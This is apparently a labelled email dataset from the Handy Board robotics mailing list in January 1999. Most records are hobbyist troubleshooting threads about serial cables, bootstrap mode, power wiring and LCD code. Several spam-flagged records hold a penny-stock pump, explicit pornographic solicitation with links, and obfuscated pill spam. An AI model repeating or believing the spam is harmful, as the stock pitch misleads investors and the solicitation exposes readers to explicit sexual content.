handyboard@media.mit.edu","Wed, 13 Jan 1999 09:40:26 -0500",Re: Wireless Handyboard Link ?,"I obtained the RF wireless kit ( HP Series ) from Lynx Technologies a while ago, and I have not had any success yet. My guess is that the handyboard is unable to ""Synchronize with the board"" with the half- duplex communication provided by the kit. I contacted Lynx Technologies by e-mail about the application, and they provided me with a tech support number. I plan to contact them as soon as possible. Meanwhile, I heard that somebody had already had success with the wireless link using a kit by Radiometrix? I have lost the link to the site. Dave ",0,0 chad_pennebaker@douglas.com,handyboard@media.mit.edu,"Wed, 13 Jan 1999 15:09:33 +0000",Radiometrix address,"Radiometrix Ltd. is at lemosint@ma.ultranet.com Contact Danny Lemos 508 798 5004 _________________________________________________________________________ Chad Pennebaker, President mailto:chad_pennebaker@douglas.com ** Creators of the Douglas CAD/CAM System for Macintosh PCB Design ** Douglas Electronics, Inc. http://www.douglas.com 2777 Alvarado Street voice:+1 510 483-8770 x46 San Leandro, CA 94577 USA fax:+1 510 483-6453 BBS (FirstClass):+1 510 483-6548 ",0,1 Job Strange ,handyboard@media.mit.edu,"Wed, 13 Jan 1999 06:31:19 -0500",This needs to be tried,"in crosspoint see tack on eduardo the footage in beechwood ",1,0 """Wijngaarde, Ronald"" ","handyboard@media.mit.edu, ""SHETTI.NITIN.MANGESH"" ","Wed, 13 Jan 1999 16:44:51 +0100",RE: interface problem,"This can take a long time. Start by making sure that the cable is correct. You can do this by changing the Rx and Tx lines. If this does not help de Maxim serial driver can be faulty. Last check the solder joints.I once looked at them and could not see anything wrong. I reheated them with a soldering iron and it worked. Good luck Ronald > ---------- > From: SHETTI.NITIN.MANGESH[SMTP:shettin@giasbmc.vsnl.net.in] > Sent: donderdag 14 januari 1999 1:19 > To: handyboard@media.mit.edu > > Dear Friends, > We, at VESIT ,Bombay,India are making a rover which is > capable > of navigating itself and avoiding obstacles.For this,we are using the > > handy board.The soldering work has been completed and we are now > trying to > use 'download software' with it. > In the handy board assembly manual it has been said that > inorder to check the charger/interfacing circuit, connect only the > that > circuit(charger/interfacer) without the handy board to the host > computer > using a appropriate modem cable (RS232).Then the charger/interface > board > has to be powered causing the red LED(PWR) to glow. Next,the download > software has to be run. At this stage the green LED on the board > should > glow up indicating transmission of data (or readiness to transmit > data).We > are finding that the green LED(SER) does not glow in our > circuit.(please > refer to section 3.3.2 of the hba.pdf file for more explanation) > We are therefore unable to find whether this particular > board > is working and hence we cannot risk connecting the handy board to the > charger/interfacer board. > Can someone please tell me what are the possible reasons > causing > this to occur?Please reply as soon as possible as we have to begin > testing > the program to run the rover. > Yours Sincerely, > Nitin > > ",0,0 4763 <5tul99@yamaha.com>,"handyboard@media.mit.edu, liliana@media.mit.edu","Wed, 13 Jan 1999 13:22:33 +0100",here's a winer [SUBSCRIPTION ALERT WEEK STARTING MONDAY it is] Istvan imputed comparator,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. 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",0,0 Will Bain ,Handyboard Mailing List ,"Wed, 13 Jan 1999 10:12:06 -0700",Re: serial interface trouble,"SHETTI.NITIN.MANGESH wrote: > In the handy board assembly manual it has been said that > inorder to check the charger/interfacing circuit, connect only the that > circuit(charger/interfacer) without the handy board to the host computer > using a appropriate modem cable (RS232).Then the charger/interface board > has to be powered causing the red LED(PWR) to glow. Next,the download > software has to be run. At this stage the green LED on the board should > glow up indicating transmission of data (or readiness to transmit data).We > are finding that the green LED(SER) does not glow in our circuit.(please > refer to section 3.3.2 of the hba.pdf file for more explanation) > We are therefore unable to find whether this particular board > is working and hence we cannot risk connecting the handy board to the > charger/interfacer board. The most common problems seem to be with the types of cables and the serial port settings. Make sure that you are using a straight through cable (not a null modem cable) to connect the HB to the serial port, and make sure that you have a telephone style RJ11 cable (not a network style RJ11 cable) to connect the serial interface board to the HB. Also, try to verify that your serial port is working properly. If you have multiple serial ports, try it on different ones (I had success with one port, but not the other). The following settings are ones that work with my HB. Bits per second: 9600 Data bits: 8 Parity: none Stop bits: 1 Flow control: Xon/Xoff You say that you haven't yet tried connecting the HB to the serial interface board. Perhaps others on the mailing list can address whether it would be too risky to simply try hooking up the HB at this point and testing the whole system (despite the fact that the serial interface board may not be working properly yet). Since I'm not very smart about electronics, I would probably just plug it all in and see if it smokes! ;-) Good luck. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The fellow who agrees with everything you say Will Bain, is either a fool or he is getting ready & Tatoosh to skin you. --Kin Hubbard",0,0 madstheworld ,"""Fred G. Martin"" , handyboard@media.mit.edu","Thu, 14 Jan 1999 00:34:37 +0530",troubleshooting,"The interface charger board is soldered and the max232 chip has been tested works perfectly and the green led SER glows on shorting the pind of max232 and the J3 socket. But when the host computer is connected and the proper downloaded is connected it says that board not in proper mode. This is justified as the board is not in bootstrap. But the green doesnt glow at all. What can be the error. We cheacked the connections, cable, the downloader and everything else. cant find the fault please reply soon -milind ",0,0 owen popplestone ,handyboard@media.mit.edu,"Wed, 13 Jan 1999 12:11:12 -0800",Digital troubles,"Hi all, I am assembling a handyboard and things have gone well until I got to the section 7.1.1 in the assembly manual. I assembled the digital inputs, and when I used the function testdigitals(), the start button is the only one that will register a 1 on the screen while testing all of the inputs. I have checked pin 9 of U6(74HC138) and it is stuck on logical high rather than pulsing like it should be doing. Any suggesions? Thanks in advance, Owen Popplestone ",0,0 owen popplestone ,shettin@giasbmc.vsnl.net.in,"Wed, 13 Jan 1999 12:17:34 -0800",Serial interface,"Re Serial interface problems in Bombay When I assembled the inteface board, I made the mistake of putting a male connector on the interface board. I had the same problems as you and this turned out to be the obvious cause.... so double check all your work and check for correct parts. Good luck! Owen ",0,0 madstheworld ,"Will Bain , Handyboard Mailing List ","Thu, 14 Jan 1999 06:32:10 +0530",Help,"thank you for the apt and quick reply. if you could tell us what is the difference between a straight through cable and a null modem cable it would be great( we are using a 25 female to 25 female connector) and how to identify the difference between the RJ11 telephone and network cable. We have checked the cable and it looks to be a 4 wire telephone cable since I removed it from my telephone directly. Also, the handy board once connected receives power form the charger board but does not enter BOOTSTRAP MODE. The PWR and BATT led do not go on and off. But the yellow CHARGE LED on the interface board keeps on switching if the hb is connected and then lights up constantly when the STOP switch is pressed. Since, the bootstrap configuration is not confirmed we cannot download the program: but on trying the downloader it gives ERROR which might be due to cable fault as suggested earlier. Please help debug thank you -milind -----Original Message----- From: Will Bain To: Handyboard Mailing List Date: Wednesday, January 13, 1999 10:46 PM Subject: Re: serial interface trouble >SHETTI.NITIN.MANGESH wrote: > >> In the handy board assembly manual it has been said that >> inorder to check the charger/interfacing circuit, connect only the that >> circuit(charger/interfacer) without the handy board to the host computer >> using a appropriate modem cable (RS232).Then the charger/interface board >> has to be powered causing the red LED(PWR) to glow. Next,the download >> software has to be run. At this stage the green LED on the board should >> glow up indicating transmission of data (or readiness to transmit data).We >> are finding that the green LED(SER) does not glow in our circuit.(please >> refer to section 3.3.2 of the hba.pdf file for more explanation) >> We are therefore unable to find whether this particular board >> is working and hence we cannot risk connecting the handy board to the >> charger/interfacer board. > >The most common problems seem to be with the types of cables and the >serial port settings. Make sure that you are using a straight through >cable (not a null modem cable) to connect the HB to the serial port, and >make sure that you have a telephone style RJ11 cable (not a network >style RJ11 cable) to connect the serial interface board to the HB. > >Also, try to verify that your serial port is working properly. If you >have multiple serial ports, try it on different ones (I had success with >one port, but not the other). The following settings are ones that work >with my HB. > > Bits per second: 9600 > Data bits: 8 > Parity: none > Stop bits: 1 > Flow control: Xon/Xoff > >You say that you haven't yet tried connecting the HB to the serial >interface board. Perhaps others on the mailing list can address whether >it would be too risky to simply try hooking up the HB at this point and >testing the whole system (despite the fact that the serial interface >board may not be working properly yet). Since I'm not very smart about >electronics, I would probably just plug it all in and see if it smokes! >;-) > >Good luck. > >-- Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, >~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Wendy Parson, The fellow who agrees with everything you say >Will Bain, is either a fool or he is getting ready >& Tatoosh to skin you. --Kin Hubbard >",0,0 Raymond ,joel@aleve.media.mit.edu,"Wed, 13 Jan 1999 20:15:59 -0700",Do you like fine-looking Eighteen doing beautiful bllowjob?," alluring Youngestt Teenie in hard fuckiing. http://onlybestporno.info/fphfporn.htm?iSPhfd.fX,hj REEMOVE http://onlybestporno.info ",1,1 FThompson9@aol.com,"milind23@vsnl.com, handyboard@media.mit.edu","Thu, 14 Jan 1999 09:24:49 -0500",Re: Help with cables,"milind, To check your phone cord, hold the ends together so that the wires are away from each other. Look through the clear connector. The wire colors should line up in this orientation. There is a little more to the DB-25 issue. ""Null modem"" vs. ""straight through"" has two important differences. The one that is probably bothering you has to do with the ordering of pins 2 and 3 (Tx and Rx). The ""straight through"" cable does not swap the order of the wires. It is designed to go between a computer and a modem. One transmits on pin 2 and the other receives on pin 2. A ""null modem"" cable is designed to connect two ""computer"" type devices who both transmit on pin 2 (or is it pin 3, no matter). This type of cable swaps pins 2 and 3 at the connectors. Another important function of the null modem cable is to be sure ""data terminal ready"" and ""clear to send"" are held at appropriate levels. There are a couple of ways to do this. I make them by having one conector (the computer end) with a jumper shorting pins 4 to 5 and another jumper shorting pins 6, 8, and 20. These ""null modem"" cables became popular when the IBM PC came out. Before that most computer (micros any way) didn't look at those pins and you only had to worry about pins 2 and 3. But the PC would not transmit unless CTS and DTR were set. If you look on page 59 of the technical manual you will see that pins 5,6, and 20 are shorted together to take care of CTS and DTR. So I would guess that your serial cable should pass lines 2,3,5,6,7, and 20. Be sure that your cable has these and does not swap pins 2 and 3. If not pull out a soldering iron. If 2 and 3 are swapped, swap them back. If 5,6 and 20 are not passed through, jumper them on the computer end. I just checked my cables and pin 2 on the computer end (female) does go to pin 2 on the Handy board end (male). A paper clip will help get a meter probe into those female pin holes. Hope this helps Pherd ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Thu, 14 Jan 1999 08:15:56 -0800",FingerBoard Users?,"I want to add a minimal board as a slave to my HandyBoard. My choices seem to be the FingerBoard, MiniBoard, and BOTBoard. At this point the FingerBoard is my first choice. Is there anyone here who has used this board? Any comments? Pros and cons of each board? Thanks, - - - Nick - - - ",0,0 peter@xkeys.demon.co.uk,handyboard@media.mit.edu,"Thu, 14 Jan 1999 18:33:40 +0000",Re: TI SN754410,"On Mon, 11 Jan 1999 21:16:13 +0100, Tone wrote: >Hi, > > this must have been asked before. But where can I get the TI SN754410 >from On-line ordering if possible or a UK supplier. > > I don't know of a supplier for the SN754410, but the originally specified L239D is readily available from: Maplins (code No. AH80B) for 3.99 UKP inc VAT, or Farnell (code No. 699809) for 5.04 UKP + VAT Both of these companies have UK websites. Hope this helps Peter ",0,0 Mike Jones ,handyboard@media.mit.edu,"Thu, 14 Jan 1999 13:02:09 +0600",Re: TI SN754410,">On Mon, 11 Jan 1999 21:16:13 +0100, Tone wrote: > >>Hi, >> >> this must have been asked before. But where can I get the TI SN754410 >>from On-line ordering if possible or a UK supplier. >> >> >I don't know of a supplier for the SN754410, but the originally >specified L239D is readily available from: > >Maplins (code No. AH80B) for 3.99 UKP inc VAT, or > >Farnell (code No. 699809) for 5.04 UKP + VAT If you can't find the TI chip try doubling up on the L293D by piggybacking them on top of each other for added amps. You can use one L293D with an additional L293 on top of it (the 'D' has protection diodes that you MUST have). You may need to provide motor power to the chip separately because the traces on the Handyboard may not handle that much current (from a previous discussion, I do not know firsthand) Mike ",0,0 Kimberlyn Pullman ,handyboard@media.mit.edu,"Thu, 14 Jan 1999 10:23:50 -0400",Re: good CtALalS,"Hi, C p I q A s L b I l S n V l A s L w I o U l M n X z A k N u A n X f V g I d A v G m R y A f http://www.RunaColbRea.4t.com/ dependenc misogam blackguar orthopaedis antitan obeyed. That lesson crosses borders and penetrates minds. We in Russia suffered far, far more than anyone in America during the last war. Some of us remember that, and we will not emulate that enemy. Well spoken, said Prefontaine, raising his glass of Perrier to the Soviet. When everythings said and done, were all part of the same thinking, feeling human race, arent we? ",1,1 Nick Taylor ,"peter@xkeys.demon.co.uk, handyboard@media.mit.edu","Thu, 14 Jan 1999 12:24:43 -0800",Re: TI SN754410,"Try here: http://www.acroname.com/ good luck, - - - Nick - - - peter@xkeys.demon.co.uk wrote: > On Mon, 11 Jan 1999 21:16:13 +0100, Tone wrote: > > >Hi, > > > > this must have been asked before. But where can I get the TI SN754410 > >from On-line ordering if possible or a UK supplier. > > > > > I don't know of a supplier for the SN754410, but the originally > specified L239D is readily available from: > > Maplins (code No. AH80B) for 3.99 UKP inc VAT, or > > Farnell (code No. 699809) for 5.04 UKP + VAT > > Both of these companies have UK websites. > > Hope this helps > > Peter ",0,1 Andre Philippi ,philippi@earthlink.net,"Thu, 14 Jan 1999 15:01:45 -0800","Help with Power Scheme, Please...","Hi Everybody, I'm trying to hook-up the Handy Board, an R/C car chassis, and a wireless camera together, and here's what I was planning to do about the power... +---------------+ +--------------------------------------------| Handy Board +------+ | +12v +----+-----+----+ | | +---------------------+ | | | +------+--| 1N4001 Diode String |----------------+ | | | | | +---------------------+ +09v | + | | - | | + | +---------------------+ | +----+-----+----+ | +---+---+ +--| 1N4001 Diode String |--------------+ | | R/C DC Motors | | | 12V | +---------------------+ +05v | | +---------------+ | |Battery| | | | | 04A | +---------------------+ -05v | | +---------------+ | +---+---+ +--| 1N4001 Diode String |------------+ | +--| Video Camera |----+ | | | +---------------------+ | | | +---------------+ | | | | +---------------------+ -09v | | | +---------------+ | | +------+--| 1N4001 Diode String |----------+ | | +--| Video Transm |----+ | | +---------------------+ | | | +---------------+ | | | -12v | | | +---------------+ | | +---------------------------------+ | | +----| R/C Servos |--+ | | | | | +---------------+ | | | | | +-------------------------+ | | | +-----------------------------+ | +---------------------------------+ 1 - Is the whole thing correct, from an EE stand point ? 2 - Is there a problem in having a battery with far more Amps than necessary? 3 - Could a battery with high Amperage ""push"" too much current ? 4 - Could the R/C DC motors draw too much current and ""harm "" the HB ? 5 - What kind of dynamo/combustion motor (r/c) size, combination would be necessary to feed a 12v in/out battery recharger (with auto trickle charge)? Thank you in advance, Andre Philippi. ",0,0 Marianne Pena ,handyboard@media.mit.edu,"Thu, 14 Jan 1999 15:17:18 -0500",body fat troubling you?,"see celandine it's tidal may avenge , dustbin see spindle ",1,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Thu, 14 Jan 1999 17:20:35 -0000",Clearing the LCD,"Hi everyone, Quick question! What's the IC command to clear the LCD? Thanks for the help in advance. Bill Denzel Senior Mechatronics Student California Polytechnic State University San Luis Obispo ",0,0 Phil ,Bill Denzel ,"Thu, 14 Jan 1999 19:55:29 -0600",Re: Clearing the LCD,"I've always used printf(""\\n\\n""); hope it helps! --philsky ",0,0 Phung Noe ,handyboard@media.mit.edu,"Fri, 15 Jan 1999 15:16:52 -0800",visit us for your medical needs,"some invidious not diversify ! pertinacious not her some beret ",1,0 Antiope Driscoll ,handyboard@media.mit.edu,"Fri, 15 Jan 1999 02:29:03 -0700",Re: AMBtEdN news,"Hi, V L A C V X P I e m I A a r A v b A L n o G i i L I a z R t e I U x a A ra n S M c http://www.kvoratizalopan.com Faintly the dwarves heard his small cries, though the only word they could catch was help! Now what on earth or under it has happened? said Thorin. Certainly not the dragon, or he would not go on squeaking. They waited a moment or two, and still there were no dragon-noises, no sound at all in fact but Bilbos distant voice. Come, one of you, ",1,1 MAR ERICSON ,handyboard@media.mit.edu,"Fri, 15 Jan 1999 10:25:26 -0500",Mobile robot QT demo in my HP,"I have Quick Time movies of my robot going about life! visit: www.cooper.edu/~mar Background: As a Masters student I created a mobile robot using the Handy Board. Many of you may remeber me bugging you with questions. :) Well, that all payed off and I had a successful project and presentation. Thanks to all who helped! I decided to document my work so that others may see and learn from it. It took quite a while but finally... In the documentaion there are video demos of subsumption and robot fire-fighting mimicking the reknown Trinity College Fire Fighting Home Robot Contest. Brief explanations of principles are included. Enjoy! ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 """PROMATEC Proj. e Man. em Eletr. e Inst."" ",handyboard@media.mit.edu,"Fri, 15 Jan 1999 14:25:16 -0200",HBL: EPROM Microcontrolers,"FROM: Cesar Mello / cmello@cpovo.net Hi friends, Sorry if this subject isn't much related to the Handy Board, but I'd like to know something about the HC11 Eprom based microcontrollers, like the MC68hc11a8p. Does it have any means of booting from the serial port and save the program in its eprom by itself? Or do I need a special programmer to put software in it? If this is the case, is it much difficult to build? Thank you a lot for the attention. See you, Cesar PS: Please don't worry too much about brazilian economy, the worst has gone... ",0,0 """PROMATEC Proj. e Man. em Eletr. e Inst."" ",handyboard@media.mit.edu,"Fri, 15 Jan 1999 14:19:06 -0200",HBL: EPROM Microcontrolers,"FROM: Cesar Mello / cmello@cpovo.net Hi friends, Sorry if this subject isn't much related to the Handy Board, but I'd like to know something about the HC11 Eprom based microcontrollers, like the MC68hc11a8p. Does it have any means of booting from the serial port and save the program in its eprom by itself? Or do I need a special programmer to put software in it? If this is the case, is it much difficult to build? Thank you a lot for the attention. See you, Cesar ",0,0 Will Bain ,Handyboard Mailing List ,"Fri, 15 Jan 1999 11:37:21 -0700","Re: Help with Power Scheme, Please...","The main problem I see is with how you label the voltages at various points in the circuit. If you have a 12 V battery, the low voltage end is usually called zero volts and the high voltage end is called +12 volts (although the numbers are just relative to each other). You show -12 V at one end and +12 V at the other, which you could only get with a 24 V source (which wouldn't be appropriate). Perhaps the following would make more sense: +12V +---------------+ +--------------------------------------------| Handy Board +------+ | +----+-----+----+ | | +---------------------+ + 9V | | | +------+--| Diode String |----------------+ | | | | | +---------------------+ | + | | - | | + | +---------------------+ + 5V | +----+-----+----+ | +---+---+ +--| Diode String |--------------+ | | R/C DC Motors | | | 12V | +---------------------+ | | +---------------+ | |Battery| | | | | 04A | | | +---------------+ | +---+---+ | +--| Video Camera |------+ | | | +---------------+ | | 0V | | +---------------+ | +------+-----------------------------------+ | +--| Video Transm |------+ | | | +---------------+ | ----- | | +---------------+ | --- Ground | +----| R/C Servos |------+ - | +---------------+ | +-------------------------------+ Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Virtue is insufficient temptation. Will Bain, & Tatoosh --George Bernard Shaw ",0,0 Simon.Schulz@hagener-tgz.de,handyboard@media.mit.edu,"Fri, 15 Jan 1999 20:18:08 +0100",Scrolling through the LCD messages by the knob,"Hi, i am looking for a program to use the knob for scrolling through messages. i really need this, because i have to output more than 32 chars (and there isnt enough space for a larger display ). i have read about using the knob for scrolling on the handyboard website. anyone already written such a program ? Thanks, Simon ",0,0 Will Bain ,Handyboard Mailing List ,"Fri, 15 Jan 1999 13:18:32 -0700","RESEND--Re: Help with Power Scheme, Please...","I apologize for having sent the following with extra line-feeds in it; Here it is again: The main problem I see is with how you label the voltages at various points in the circuit. If you have a 12 V battery, the low voltage end is usually called zero volts and the high voltage end is called +12 volts (although the numbers are just relative to each other). You show -12 V at one end and +12 V at the other, which you could only get with a 24 V source (which wouldn't be appropriate). Perhaps the following would make more sense: +12V +---------------+ +--------------------------------------------| Handy Board +------+ | +----+-----+----+ | | +---------------------+ + 9V | | | +------+--| Diode String |----------------+ | | | | | +---------------------+ | + | |- | | + | +---------------------+ + 5V | +----+-----+----+ | +---+---+ +--| Diode String |--------------+ | | R/C DC Motors | | | 12V | +---------------------+ | | +---------------+ | |Battery| | | | | 04A | | | +---------------+ | +---+---+ | +--| Video Camera |------+ | | | +---------------+ | | 0V | | +---------------+ | +------+-----------------------------------+ | +--| Video Transm |------+ | | | +---------------+ | ----- | | +---------------+ | --- Ground | +----| R/C Servos |------+ - | +---------------+ | +-------------------------------+ , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The fellow who agrees with everything you say Will Bain, is either a fool or he is getting ready & Tatoosh to skin you. --Kin Hubbard ",0,0 """Curt Mills, WE7U"" ",Gustav Schulz ,"Fri, 15 Jan 1999 13:36:09 -0800",Re: Scrolling through the LCD messages by the knob,"On Fri, 15 Jan 1999, Gustav Schulz wrote: > i am looking for a program to use the knob for scrolling through > messages. > anyone already written such a program ? Yes, and it is totally trivial to do so. I don't have my sources here at the moment, but it is roughly like this: c = readknob(); /* or whatever the cmd is for reading it */ if ( c < 64 ) { print ""a""; } else if ( c < 128 ) { print ""b""; } else if ( c < 192 ) { print ""c""; } else { print ""d""; } or set a variable inside each if block and then run through a switch statement later when you're doing your printing. Sorry if my C is rusty. I do too many languages nowadays... Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Fri, 15 Jan 1999 16:43:47 -0500",Re: Scrolling through the LCD messages by the knob,"Simon, This shouldn't be too difficult to create...but it could be a real waste of memory unless it is real important issue. The reason why is that you would have to save the messages in memory. You'd have to decide if you wanted to fill all the memory, or limit it to just xx number of lines/messages. I'm not the best programmer but I'd probably create a function that I would call each time I was to do a printf(). This function would be passed the value of the string to printf() and would store it in memory (an array, a stack, or a linked list...I'm not sure which would be best). Then, based upon the number of lines/messages, you would relate that number to the 0-255 range of the display. What would you want to do while scrolling the messages and halfway, when the HB sends another Printf? I'd suggest using the start, or stop switch to put it into scroll mode. then pressing it again takes it out of scroll mode and restores the display to the last active message. What do you think? Gerald ",0,0 """Graham, J. Todd"" ",Handyboard Mailing List ,"Fri, 15 Jan 1999 16:00:50 -0600","RE: RESEND--Re: Help with Power Scheme, Please...","In the example, are there any advantages or disadvantages in using a voltage regulator (such as a 7805) to dropping the voltage from 12v to 5v as opposed to using a diode string? Also, I guess no one had an answer on the earlier question of running the HB in a continuous-power mode (ie from a wall-wart). I would be intersted in knowing an answer to this as well if anyone has an idea. If the HB was constantly doing something (or at some frequency, I assume the trickle charge mode would be good to keep the battery going. But, I can't imagine it would be good for the unit to sit on the charger idle for days at a time. Todd -----Original Message----- From: Will Bain [mailto:willbain@cs.umt.edu] Sent: Friday, January 15, 1999 2:19 PM To: Handyboard Mailing List Subject: RESEND--Re: Help with Power Scheme, Please... I apologize for having sent the following with extra line-feeds in it; Here it is again: The main problem I see is with how you label the voltages at various points in the circuit. If you have a 12 V battery, the low voltage end is usually called zero volts and the high voltage end is called +12 volts (although the numbers are just relative to each other). You show -12 V at one end and +12 V at the other, which you could only get with a 24 V source (which wouldn't be appropriate). Perhaps the following would make more sense: +12V +---------------+ +--------------------------------------------| Handy Board +------+ | +----+-----+----+ | | +---------------------+ + 9V | | | +------+--| Diode String |----------------+ | | | | | +---------------------+ | + | |- | | + | +---------------------+ + 5V | +----+-----+----+ | +---+---+ +--| Diode String |--------------+ | | R/C DC Motors | | | 12V | +---------------------+ | | +---------------+ | |Battery| | | | | 04A | | | +---------------+ | +---+---+ | +--| Video Camera |------+ | | | +---------------+ | | 0V | | +---------------+ | +------+-----------------------------------+ | +--| Video Transm |------+ | | | +---------------+ | ----- | | +---------------+ | --- Ground | +----| R/C Servos |------+ - | +---------------+ | +-------------------------------+ , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The fellow who agrees with everything you say Will Bain, is either a fool or he is getting ready & Tatoosh to skin you. --Kin Hubbard ",0,0 Keith - Lui ,handyboard@media.mit.edu,"Fri, 15 Jan 1999 17:01:38 -0500",Motor output LED,"Hi all! I got a question. Whenever I connect the motor outputs to a scope (I wanted to read the output of the HB), the LEDs light up even with the output off (ao())... Can anyone explain this to me? Thanks. Keith ",0,0 Andre Philippi ,Will Bain ,"Fri, 15 Jan 1999 15:10:44 -0800","Re: RESEND--Re: Help with Power Scheme, Please... "," Thank you for your help :) Just one more questions, please... How can I ground a mobile robot ? Best regards, Andre. Will Bain wrote: >The main problem I see is with how you label the voltages at various >points in the circuit. If you have a 12 V battery, the low voltage end >is usually called zero volts and the high voltage end is called +12 >volts (although the numbers are just relative to each other). You show >-12 V at one end and +12 V at the other, which you could only get with a >24 V source (which wouldn't be appropriate). Perhaps the following >would make more sense: > > > +12V +---------------+ > +--------------------------------------------| Handy Board +------+ > | +----+-----+----+ | > | +---------------------+ + 9V | | | > +------+--| Diode String |----------------+ | | | > | | +---------------------+ | + | |- | > | + | +---------------------+ + 5V | +----+-----+----+ | >+---+---+ +--| Diode String |--------------+ | | R/C DC Motors | | >| 12V | +---------------------+ | | +---------------+ | >|Battery| | | | >| 04A | | | +---------------+ | >+---+---+ | +--| Video Camera |------+ > | | | +---------------+ | > | 0V | | +---------------+ | > +------+-----------------------------------+ | +--| Video Transm |------+ > | | | +---------------+ | > ----- | | +---------------+ | > --- Ground | +----| R/C Servos |------+ > - | +---------------+ | > +-------------------------------+ ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 BMajik5127@aol.com,handyboard@media.mit.edu,"Fri, 15 Jan 1999 20:09:22 -0500",Re: gpu5x??," Hi I have those infrared sharp devices ""Gpu5x or something like that"" how can I get it to light an led when it sees the transmitting infrared led? A schematic or page to go to would be much appreciated ! thanks -Mike ",0,0 Jouni Page ,phoebe@aleve.media.mit.edu,"Fri, 15 Jan 1999 20:05:26 -0700",Re: your CtALvlS,"Hi Look, this information might be pretty interesting for you V L X V A C P I e a A m I r A v n L b A o G i a I i L z R t x U e I a A ra M n S c http://www.slavitaden.com were red and his voice was hoarse. He was a kindly little soul. Indeed it was long before he had the heart to make a joke again. A mercy it is, he said at last to himself, that I woke up when I did. I wish Thorin were living, but I am glad that we parted in kindness. You are a fool, Bilbo Baggins, and you made a great mess of that business with the stone; and there was a battle, in spite of all your efforts to buy peace ",1,1 Alf Kuchenbuch ,handyboard@media.mit.edu,"Fri, 15 Jan 1999 14:47:35 +0100",CD-ROM used as Audio CD player,"Hi, I'd like to control an IDE or SCSI CD-ROM with my HB in order to play audio CDs (ff, rew, shuffle etc.). Did anybody do that before? I'll appreciate any hint! Best regards, Alf ",0,0 Phil ,Alf Kuchenbuch ,"Sat, 16 Jan 1999 08:55:48 -0600",Re: CD-ROM used as Audio CD player,"Never done it before, Alf, but here are a few hints. First off, learn about the IDE interface. These CD-ROM drives are cheaper than SCSI. Also, try to find source code for a CD player on-line, and examine it to see how it works. Last, why not just buy a CD player? You could then hardwire it to the HB and could skip this all. -phil On Fri, 15 Jan 1999, Alf Kuchenbuch wrote: > Hi, I'd like to control an IDE or SCSI CD-ROM with my HB in order to > play audio CDs (ff, rew, shuffle etc.). Did anybody do that before? I'll > appreciate any hint! > Best regards, > Alf > ",0,0 Goh ,handyboard@media.mit.edu,"Sat, 16 Jan 1999 22:58:37 +0800",Capacitors Voltages?,"May I know the voltage of the capacitors for the Handy-Board partlist. Or where can I find out (web site)? Thank u. ",0,0 Ron Chase ,"Handyboard , BMajik5127@aol.com","Sat, 16 Jan 1999 12:15:54 -0500",RE: gpu5x??,"Step 8.2.1 of the Handy board Assembly insructions has code that lights a motor port LED when a TV remote is aimed at the infared demodulator it says to type the following at the IC prompt: while (1) {if (4 & peek(0x1000)) fd(0); else bk(0);} > -----Original Message----- > From: BMajik5127@aol.com [mailto:BMajik5127@aol.com] > Sent: Friday, January 15, 1999 8:09 PM > To: handyboard@media.mit.edu > Subject: Re: gpu5x?? > > > > Hi I have those infrared sharp devices ""Gpu5x or something like > that"" how > can I get it to light an led when it sees the transmitting infrared led? A > schematic or page to go to would be much appreciated ! > thanks -Mike > ",0,0 madstheworld ,Handyboard Mailing List ,"Sat, 16 Jan 1999 23:14:44 +0530",help again,"thanks to the immediate responses from the mailing list I was able to remove the connector bug from my handy bosrd and now my interface board is complete. But the handy board does not enter the download mode The sitution is as follows: Once I provide power to the handy board thru the interface board the red BATT led goes ON and then goes OFF. The PWR led also goes ON. If I press the stop switch and provide power to the board the red BATT led goes on for a brief instant and then goes off as required; but the green PWR led remains ON. This indicates that the board is not in download mode. I checked the output voltages at the MOD A and MOD B pins of the 6811 and when the STOP switch is pressed, the levels are 0 and 0 on both pins indicating that the 6811 enters the required special bootstrap mode. Once the switch is released the voltages are 1.4V and 0 V on MOD A and MOD B pin. I have also tried to run the downloading software: the green SER LED lights up on the interface board and remains ON. But the software gives the error that the board is not in required mode or there is error at port. We have checked with various ports so I dont think that there is problem with the port. This means that the board is not entered download mode and this is supported by the fact that the green PWR led remains ON. The other problem is minor but if it any indication then; the RED BATT led goes on for a brief period when the board is switched OFF but after that the LED partially glows. Meaning if you observe closely the LED is not completely OFF. Also the YELLOW CHARGE LED which shouyld go ON for brief seconds when the board goes ON and OFF does not light atall. This was not the case before we inserted the serial line and 